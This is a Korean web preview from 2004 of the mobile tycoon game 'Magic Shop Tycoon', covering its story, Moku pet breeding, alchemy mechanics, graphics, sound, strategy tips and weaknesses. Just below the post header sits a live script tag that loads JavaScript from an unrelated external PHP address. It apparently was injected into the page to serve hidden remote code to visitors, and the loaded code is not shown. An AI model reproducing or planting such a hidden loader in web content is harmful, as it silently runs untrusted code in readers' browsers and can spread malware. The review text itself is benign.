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[프리뷰]

마법상점 타이쿤

글쓴이 : betagam  (211.♡.77.40) 날짜 : 2004-08-27 (금) 14:21 조회 : 16146
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 미천한 장돌뱅이 신분에서 3품 벼슬의 귀성부사에까지 오른 조선 최고의 거부(巨富) 임상옥(林尙沃 18세∼77세)을 있게한, 의주의 이름 있는 물상객주 홍득주(洪得柱 44세∼65세)는 이렇게 말했다.

미천한 장돌뱅이 신분에서 3품 벼슬의 귀성부사에까지 오른 조선 최고의 거 부(巨富) 임상옥(林尙沃 18세∼77세)을 있게한, 의주의 이름 있는 물상객주홍득주(洪得柱 44세∼65세)는 이렇게 말했다.

"진정한 장사꾼은 돈을 남기는 것이 아니라 사람을 남기는 것"이라고..


이제, 홍득주님의 말씀을 되새기며.. 지금까지 단순히 만들고 팔기만 했던 '장사치의 타이쿤'이 아니라, 비록 사람이 아닌 '모쿠'를 남기지만 진정한 상도(商道)를 걷는 경영/육성 시뮬레이션 게임 '마법상점 타이쿤'을 만나 보자!

게임명

마법상점 타이쿤

개발사

게임네오

장르

경영/육성 시뮬레이션

서비스 타입

단독형(Stand Alone)

용량

250kb

다운로드

멀티팩 > RPG/경영/연애시뮬 > 마법상점 타이쿤


마법상점의 전체적인 스토리는..

현자들 수련회에 참석하기 위해 엄마 '포스트'가 딸 '메일링'에게 마법상점을 맡기고 떠나서 메일링이 엄마가 돌아 오는 동안 상점을 유지해 나간다는 뭐.. 그렇고 그런 내용이다.

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게임설정

사운드 ON-OFF와 '매우느림, 느림, 보통, 빠름, 매우빠름'의 5단계로 속도 조절이 가능하다.

도움말

게임팁, 조작법, 문의처등을 확인 할 수 있다.

점수보기

점수 확인과 랭킹 등록을 할 수 있다.

정보이용료

정보 이용료에 대한 설명을 볼 수 있다.

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게임 종료


욕봤다!

모쿠..
마법상점의 크나큰 장점은 역시 경영에 '모쿠'라는 펫의 육성을 조합했다는 점이다.이로서 경영과 더불어 육성의 2가지 재미를 맛 볼 수 있다. 마법상점이 다른 타이쿤과 큰 차이를 보이는 것 중 하나는 재료를 구입하는 게 아니라 수집한다는 점인데, 이를 담당하는게 바로‘모쿠’다.

모쿠는 총 7종으로 초기에 2마리가 제공되며 잡화점에서 산 알을 모쿠농장에서 부화시켜 총 3마리까지 보유 가능하다. 하지만 알을 구입을 할 때까지 ‘속성’과 ‘능력치’는 며느리도 모르는 비밀이다. 한편, 모쿠는 레벨 5가되면 교배를 할 수 있다. 교배를 통해 새로운 모쿠가 탄생하며 부모의 속성을 계승해 최대 3속성(水, 地, 風)을 가진 울트라 캡숑 모쿠를 만들 수 있다. 이런 모쿠를 육성하는 쏠~쏠한 재미는 마법상점에서만 맛 볼 수 있다.

차고 넘치는 도움말

도움말은 '게임 진행, 모쿠 관리소, 아이템 판매, 아이템 제작, 게임 문의'로 분류되어 있으며 다른 모바일 게임과는 비교도 안 될 만큼 착실하게 설명이 제공되고 있다. 대부분의 게임들이 용량 관계상 간단한 설명을 덧 붙이는 상황에서 이례적인 일이다. 한글만 제대로 배웠다면 게임 진행에 별다른 무리가 따르지 않을 정도이니까....

지루함을 덜어준 연성진
‘연금술’이라는 색다른 요소의 도입과 함께 키패드 자리가 무작위로 바뀌는 연성진을 통해 자칫 반복적 작업으로 지루해질 수 있는 요소들을 확실히 줄였다. 한 가지 물건을 만들기 위해 한 가지 방법이 사용되었던 기존의 타이쿤류와는 확실히 다르게 같은 재료이지만 연성진에 표시되는 위치가 달라짐으로 9가지 재료와 10개의 아이템은 게임진행에 부족함이 없어 보인다.

속도조절 시스템

'매우느림, 느림, 보통, 빠름, 매우빠름'의 5단계 속도조절 시스템은 게임에 미숙한 유저들로부터 '하나포스의 손놀림'이 가능한 유저들에게 이르기까지.. 게임에 대한 몰입도와 재미를 선사 한다.



군더더기 없는 그래픽

마법상점의 그래픽은 말 그대로 군더더기가 없다. 게임 시작시 모쿠가 부드럽게 날아가는 모습만 봐도 그래픽의 수준을 알 수 있을 만큼.. 오랜만에 정갈한 음식을 대하는 듯한 기분이 들정도로 완성도 있는 그래픽을 보이고 있다.

조화로운 사운드

마법상점의 사운드는 득음을 한 소리꾼 처럼 화~악 트인 듯한 기분이 든다. 연성시 재료를 하나하나 선택할 때, 손님이 들어 올 때, 점점 열받으며 바뀌는 손님 머리 위의 램프 등등.. 다양한 효과음과 상황에 따라 어우러져 나오는 배경음의 절묘한 조화 앞에 불만을 토로한다는 것은 있을 수 없다.


전략 Tip.

Tip. 재료를 아껴라!
상업의 기본 원리는 수요와 공급이 맞아야 한다는 점이다. 마법상점이 육성의 요소를 부각시켰지만.. 어디까지나 경영이 밑바탕 된 타이쿤이다.
따라서 수요자의 요구를 충족시킬 공급원인 재료가 필요하다. 초기에 일정량 제공되는 재료만으론 상점을 운영할 수 없기 때문에 재료 확보에 신경을 써야 한다.

한편, 벅찬 조작 때문에 미리 아이템을 지나치게 만드는 일은 피해야 한다. 이는 재료를 낭비하는 것과 다르지 않다. 차라리 꾸준한 연습을 통해 달인에 가까운 손놀림을 보유하는 편이 훨~ 좋다.

Tip. 다이어리를 확인하라!

대단한 암기력을 소유한 것이 아니라면, 모쿠들을 보내기전 다이어리를 통해 재료창고에 부족한 것이 무엇인지를 확인하는 것이 좋다. 정작 필요한 물건은 구하지 못한 채 쓸데없는 곳에서 삽질하다보면 상점 문을 닫아야 한다.

'명성도 30하락'. 결코 적은 수치가 아니다.


Tip. 열 받은 놈 먼저 줘라!

상점에 들어 올 수 있는 손님은 최대 3명이며, 1인당 최대 주문량 역시 3개이다. 이때 주문한 물건이 더디게 나오는 것에 따라 손님은 열 받기 시작하며 열 받은 상태는 머리 위의 램프를 통해 확인 할 수 있다. (녹색 > 황색 > 적색)


손님의 머리통 램프가 빨간색이 들어와서 나가버리면 상점 명성도가 떨어지므로 고객관리가 중요하다. 일반적으로 손님은 자신이 원하는 아이템 수량만큼의 시간을 기다려 준다. 쉽게, 한 개 주문한 손님보다 세 개를 주문한 손님이 끈덕지게 기다려 준다는 거다. 따라서 열 받기 쉬운 한 개짜리 손님의 아이템을 먼저 만드는 게 낫다. 아울러 똑같은 주문 수량 이라면 머리 통 램프의 색깔을 확인하여 상점을 나가려고 폼 잡는 손님을 먼저 주는 편이 낫다. 어찌 되었든.. 손님을 절대 그냥 돌려보내서는 안 된다.

Tip. 울트라 캡숑 모쿠를 만들라!

옛말(?)에 이런 말씀이 있다.


제대로 키운 현역하나 열 방위 안 부럽다!”


아무리 방위들이 산에 올라 도시락으로 적의 레이더를 교란 시킨다하지만... 전쟁 상항에도 저녁 6시만 되면 칼 퇴근 해 버리는 방위는 믿을 만한 존재가 아니다.

마찬가지로, 부실한 모쿠를 키우기 위해 괜시리 수고를 하기 보다는 차라리 잡화점에 팔이 치워버리고 제대로 된 ‘水風地 모쿠’를 만드는 데 신경을 쓰는 편이 백 배 낫다. 왜냐하면 ‘水風地 모쿠’는 재료 수집을 위한 이동 범위와 재료 수집 능력이 뛰어나기 때문이다. 뿐만 아니라 각각의 이벤트에도 강하다. 강도를 때려잡을만큼...

역시 돈 되는 놈은 따로 있다. 참고로...‘水風地 모쿠’를 만들기 위해서는 훈련을 통해 레벨을 올리기 보다는 재료 수집을 통한 경험치와 능력으로 레벨 5를 만들어 교배 시키는 편이 용이하다. 왜냐고? 온실속에서 자란 화초처럼 부화장에서 알까고 나온 놈보단 재료수집하며 산전수전 다 겪은놈이 더 질기고 강하기 때문이다. 그러나 탄생하는 모쿠의 속성 보유가 많을 경우 실패 확률이 높으므로 자본이 충분 할 때 교배시켜야 하며, 실패 시 부모 모쿠의 능력치가 일정량 하락한다.

욕 받다!

부족한 육성의 요소

경영과 육성의 조합이라는 타이틀과는 달리 경영에 비해 육성의 요소가 부실 해 보인다. 특히, 모쿠를 신경 써서 돈 들여가며 먹이고 재우고 알 까고 교배시켜 놨더니.. 부려먹을 수 있는 일이 고작 ‘재료수집, 단련하기, 휴직’ 뿐이라니.. 손님 몰릴 때 옆에서 시다바리라도 해 주면 좋으련만... (그런 마법약은 엄마 포스트도 못 만드나?)

영향력 없어 보이는 날씨 이벤트

물론, 날씨 이벤트는 경영 시뮬레이션에서는 참시한 시도임에는 분명하다. 하지만 날씨에 따라 재배량이 줄어들고 이로인해 모쿠들의 재료 수집량에 다소 영향을 끼치는 것 외에 이렇다 할 영향력을 느끼지 못 하겠다. 혹시... 아직 발견하지 못 한 뭔가가 있는걸까? 시간있으면 제작자에게 직접 물어보기 바란다.

사람잡는 난이도

어린것이 가게를 떠맡았다고 얕잡아 보아서일까? 초반에는 구걸하는 걸인이라도 왔으면.. 할 정도로 손님 발길이 뜸하다. 놀긴 뭐~해서 기본 아이템이나 만들며 느긋이 장사를 하지만, 입소문을 타서인지 상점 레벨이 올라감에 따라 어느 순간 주체하지 못할 정도로 사람들이 몰리기 시작한다.

현자의 돌을 만들라치면 12개의 키 조작을 해야 하니... 복잡해지는 조합법 때문에 갑자기 몰려든 손님을 상대하다보면 욕먹기 십상이고 품질은 C급에서 놀 수밖에 없다. 하나의 실수도 용납하지 않는 터에.... 젊은 아가씨의 손 맛(?)을 알고 몰려드는 손님들은 고맙지만, 갑작스런 난이도 상승은 플레이하기에 여간 곤욕스럽지 않다.


차라리 도움말을 줄이지..

위에서 언급했던 것처럼 한글만 깨우쳤다면 플레이하기에 전혀 문제없을 만큼 도움말에 신경을 무척 썼다. 하지만.. 정작 게임상에 등장하는 대화들은 도움말의 1/10도 안된다고 느낄 만큼 퀘스트가 주어질 때를 빼곤 반복적이다. 아울러, 본전 생각나게 하는 짧은 스토리 구성과 밋밋한 엔딩도 문제이다. 도움말 줄이고 차라리 내용 좀 늘리지.... 그나마 마법대회, 산적, 돈 다발, 선인 등의 이벤트로 위안을 삼아 본다.

시작이 반이라지만..

아무리 시작이 반이라지만 끝이 좋아야 다 좋은 게 아닌가? 그런데.. 어찌된 영문이지 상점 문 닫을 시간을 알 길이 없다. 그러다 보니 감으로 때려잡기 전까진, 초반에는 주문받고 재작하다 문 닫혀 낭패를 보기 쉽다.상점 폐쇄시간을 알리는 모래시계라도 하나 구비해 놓으면 좋으련만...

마법상점 타이쿤, 역사의 한 획을 긋다!

개혁이니 새로운 정치니.. 맨 날 떠들어 대지만 정작 변한것 하나 없는 우리나라의 강아지 같은 정치판만을 봐도 새로운 역사를 써 내려간다는 일은 결코 쉬운 일이 아니다. 그런 점에서 마법상점은 타이쿤 바닥에 굵직한 획을 그었음에 분명하다.‘타이쿤’하면 만들고 판다는 고정화 된 인식에 ‘육성’의 요소를 과감히 결합했으며, 최근 모 회사의 아이스깨끼 만들어 파는 타이쿤에도 계절과 날씨의 요소가 들어가 있는 것을 볼 때 타이쿤에 날씨 요소를 곁들인 마법상점의 선견지명에 후한 점수를 주고 싶다. 끝으로 바라기는... 남이 성공했다고, 이것저것 섞어 만든 갖잖은 게임가지고 새로운 타이쿤이라고 우겨대지 말고, 이윤에 급급한 장사치가 아닌 상도의 길을 걸으면서도 다운 받고 흡족해 할 수 있는 유저들을 많이 남길 수 있는 회사들이 되기 바란다. 오늘날 장사치 타이쿤에 찌들어 버린 모든 유저들에게 신구 할어버지께서 한 말씀 던지신다.


그래픽

사운드

속도감

조작감

중독성


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